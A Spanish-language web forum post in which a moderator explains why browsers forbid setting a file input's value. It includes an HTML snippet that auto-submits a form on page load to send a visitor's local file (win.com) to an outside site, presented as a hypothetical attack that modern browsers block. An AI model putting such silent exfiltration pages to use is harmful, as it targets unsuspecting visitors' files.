21/05/2004, 10:33
|
 | Moderador extraterrestre | | Fecha de Ingreso: diciembre-2001 Ubicación: Madrid
Mensajes: 6.987
Antigüedad: 22 años, 4 meses Puntos: 61 | |
| Imaginate que quieres quitar a alguien un archivo, por ejemplo el win.com. Para eso sólo tendrías que poner
<body onload="document.pepe.submit()">
<form name="pepe" action="http://www.mipagina.com/recepcion.html">
<input type="file" value="c:\windows\win.com">
</form>
</body>
Con esto "robarías" ese archivo a cada visitante de tu página. No haría falta ni que enviara el formulario. Es por ello que los navegadores actuales no admiten definir el value de ningun input file. Ni por html ni por Javascript... ni por ningún medio.
Lo entiendes ahora?
__________________ Cómo escribir
No hay pregunta tonta, sino tonto que quiere seguir en la ignorancia. |